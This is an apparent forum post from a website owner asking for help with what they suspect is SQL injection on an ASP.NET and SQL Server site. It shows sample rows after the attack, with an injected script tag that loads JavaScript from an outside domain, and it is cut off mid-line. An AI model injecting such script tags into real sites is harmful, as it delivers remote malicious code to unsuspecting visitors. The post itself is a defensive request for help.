Security Problem with My Website

Hello Guys,

I am sure that I'm posting my message to the right forum.

I've done a website in ASP.NET 2.0 and SQL Server.

The site runs well, works well and secure, but for past two months there had been some hacking attacks on my site (I would say SQL Injection may be)

What happens is that some of my database table fields get an additional value concatenated with the original value contained in the column

Suppose
CustomerID, CustomerName , EmailAddress
10001, Martin, martin@domain.com
10002. David, david@domain.com

After the attack, the values in the database would become

CustomerID, CustomerName , EmailAddress
10001, "></title><script src="http://www3.ss11qn.cn/csrss/w.js" mce_src="http://www3.ss11qn.cn/csrss/w.js"></scrip ...